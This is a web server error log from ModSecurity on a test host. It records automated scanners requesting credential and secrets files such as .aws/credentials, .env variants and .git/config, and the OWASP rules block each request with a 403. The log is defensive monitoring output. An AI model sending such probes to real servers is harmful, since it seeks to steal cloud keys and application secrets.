[Tue Jan 13 03:49:34.380248 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "aWWyvjL9P8MnNEiieOiX3gAAAAI"]
[Tue Jan 13 03:49:34.900726 2026] [:error] [pid 1377542] [client 195.178.110.68:45926] [client 195.178.110.68] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWWyvoLjtZKI_L_KKGZsFgAAAAE"]
[Tue Jan 13 03:49:34.900944 2026] [:error] [pid 1377542] [client 195.178.110.68:45926] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWWyvoLjtZKI_L_KKGZsFgAAAAE"]
[Tue Jan 13 03:49:34.901109 2026] [:error] [pid 1377542] [client 195.178.110.68:45926] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWWyvoLjtZKI_L_KKGZsFgAAAAE"]
[Tue Jan 13 03:49:36.995391 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /home/user/.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/user/.aws/credentials"] [unique_id "aWWywDL9P8MnNEiieOiX4AAAAAI"]
[Tue Jan 13 03:49:36.995607 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/user/.aws/credentials"] [unique_id "aWWywDL9P8MnNEiieOiX4AAAAAI"]
[Tue Jan 13 03:49:36.996564 2026] [:error] [pid 1377543] [client 195.178.110.68:24214] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/home/user/.aws/credentials"] [unique_id "aWWywDL9P8MnNEiieOiX4AAAAAI"]
[Tue Jan 13 03:49:43.244423 2026] [:error] [pid 1378230] [client 195.178.110.68:19090] [client 195.178.110.68] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWWyx0JEj47SaL9ujnqZKgAAAAY"]
[Tue Jan 13 03:49:43.244682 2026] [:error] [pid 1378230] [client 195.178.110.68:19090] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWWyx0JEj47SaL9ujnqZKgAAAAY"]
[Tue Jan 13 03:49:43.244869 2026] [:error] [pid 1378230] [client 195.178.110.68:19090] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.production"] [unique_id "aWWyx0JEj47SaL9ujnqZKgAAAAY"]
[Tue Jan 13 03:49:43.825101 2026] [:error] [pid 1378231] [client 195.178.110.68:19102] [client 195.178.110.68] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aWWyx0JqSCffH1oPeplGHQAAAAc"]
[Tue Jan 13 03:49:43.825352 2026] [:error] [pid 1378231] [client 195.178.110.68:19102] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aWWyx0JqSCffH1oPeplGHQAAAAc"]
[Tue Jan 13 03:49:43.825528 2026] [:error] [pid 1378231] [client 195.178.110.68:19102] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "aWWyx0JqSCffH1oPeplGHQAAAAc"]
[Tue Jan 13 03:49:45.202954 2026] [:error] [pid 1378230] [client 195.178.110.68:19090] [client 195.178.110.68] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aWWyyUJEj47SaL9ujnqZKwAAAAY"]
[Tue Jan 13 03:49:45.203164 2026] [:error] [pid 1378230] [client 195.178.110.68:19090] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aWWyyUJEj47SaL9ujnqZKwAAAAY"]
[Tue Jan 13 03:49:45.203329 2026] [:error] [pid 1378230] [client 195.178.110.68:19090] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.local"] [unique_id "aWWyyUJEj47SaL9ujnqZKwAAAAY"]
[Tue Jan 13 03:49:45.798178 2026] [:error] [pid 1378230] [client 195.178.110.68:19090] [client 195.178.110.68] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aWWyyUJEj47SaL9ujnqZLAAAAAY"]
[Tue Jan 13 03:49:45.798407 2026] [:error] [pid 1378230] [client 195.178.110.68:19090] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aWWyyUJEj47SaL9ujnqZLAAAAAY"]
[Tue Jan 13 03:49:45.798586 2026] [:error] [pid 1378230] [client 195.178.110.68:19090] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "aWWyyUJEj47SaL9ujnqZLAAAAAY"]
[Tue Jan 13 03:49:48.143122 2026] [:error] [pid 1378233] [client 195.178.110.68:17172] [client 195.178.110.68] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWWyzHLBQtJRjSsPc8yOhQAAAAk"]
[Tue Jan 13 03:49:48.143380 2026] [:error] [pid 1378233] [client 195.178.110.68:17172] [client 195.178.110.68] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWWyzHLBQtJRjSsPc8yOhQAAAAk"]
[Tue Jan 13 03:49:48.143573 2026] [:error] [pid 1378233] [client 195.178.110.68:17172] [client 195.178.110.68] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "aWWyzHLBQtJRjSsPc8yOhQAAAAk"]
[Thu Jan 15 00:19:09.478449 2026] [:error] [pid 1420002] [client 195.178.110.191:54330] [client 195.178.110.191] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWgkbbTrS5HHBJNkOprXAgAAAAA"]
[Thu Jan 15 00:19:09.478729 2026] [:error] [pid 1420002] [client 195.178.110.191:54330] [client 195.178.110.191] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWgkbbTrS5HHBJNkOprXAgAAAAA"]
[Thu Jan 15 00:19:09.478872 2026] [:error] [pid 1420002] [client 195.178.110.191:54330] [client 195.178.110.191] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWgkbbTrS5HHBJNkOprXAgAAAAA"]
[Thu Jan 15 18:18:37.388591 2026] [:error] [pid 1422353] [client 165.154.254.143:45260] [client 165.154.254.143] ModSecurity: Warning. Pattern match "\\\\b(?:keep-alive|close),\\\\s?(?:keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "311"] [id "920210"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aWkhbeHSrxAFNBAHObbgawAAAAA"], referer: https://www.google.com
[Thu Jan 15 20:59:52.267830 2026] [authz_core:error] [pid 1427776] [client 159.89.174.87:43654] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Thu Jan 15 20:59:55.280972 2026] [:error] [pid 1435201] [client 159.89.174.87:43686] [client 159.89.174.87] ModSecurity: Warning. Matched phrase "/.DS_Store" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.DS_Store found within REQUEST_FILENAME: /.ds_store"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aWlHOwqtKbcHCWblG8ercAAAAAo"]
[Thu Jan 15 20:59:55.281192 2026] [:error] [pid 1435201] [client 159.89.174.87:43686] [client 159.89.174.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aWlHOwqtKbcHCWblG8ercAAAAAo"]
[Thu Jan 15 20:59:55.281361 2026] [:error] [pid 1435201] [client 159.89.174.87:43686] [client 159.89.174.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.DS_Store"] [unique_id "aWlHOwqtKbcHCWblG8ercAAAAAo"]
[Thu Jan 15 20:59:56.337908 2026] [:error] [pid 1435199] [client 159.89.174.87:43702] [client 159.89.174.87] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWlHPIgCypLG4pawpwqtaQAAAAg"]
[Thu Jan 15 20:59:56.338136 2026] [:error] [pid 1435199] [client 159.89.174.87:43702] [client 159.89.174.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWlHPIgCypLG4pawpwqtaQAAAAg"]
[Thu Jan 15 20:59:56.338301 2026] [:error] [pid 1435199] [client 159.89.174.87:43702] [client 159.89.174.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWlHPIgCypLG4pawpwqtaQAAAAg"]
[Thu Jan 15 20:59:58.289238 2026] [:error] [pid 1422354] [client 159.89.174.87:44514] [client 159.89.174.87] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWlHPr9cPrphjC1uJYw6PgAAAAE"]
[Thu Jan 15 20:59:58.289477 2026] [:error] [pid 1422354] [client 159.89.174.87:44514] [client 159.89.174.87] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWlHPr9cPrphjC1uJYw6PgAAAAE"]
[Thu Jan 15 20:59:58.289655 2026] [:error] [pid 1422354] [client 159.89.174.87:44514] [client 159.89.174.87] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "aWlHPr9cPrphjC1uJYw6PgAAAAE"]
[Fri Jan 16 19:27:16.968352 2026] [:error] [pid 1444031] [client 204.76.203.25:36572] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWqDBH-9MmrgwjmYTAJWmgAAAAA"]
[Fri Jan 16 19:27:16.968735 2026] [:error] [pid 1444031] [client 204.76.203.25:36572] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWqDBH-9MmrgwjmYTAJWmgAAAAA"]
[Fri Jan 16 19:27:16.968988 2026] [:error] [pid 1444031] [client 204.76.203.25:36572] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aWqDBH-9MmrgwjmYTAJWmgAAAAA"]
[Sat Jan 17 03:01:38.128466 2026] [authz_core:error] [pid 1465637] [client 103.153.182.65:9314] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/server-status
[Sat Jan 17 03:01:38.132275 2026] [:error] [pid 1465640] [client 103.153.182.65:9298] [client 103.153.182.65] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.sample"] [unique_id "aWrtgt6syg3vTOmgP2tJjwAAAAQ"]
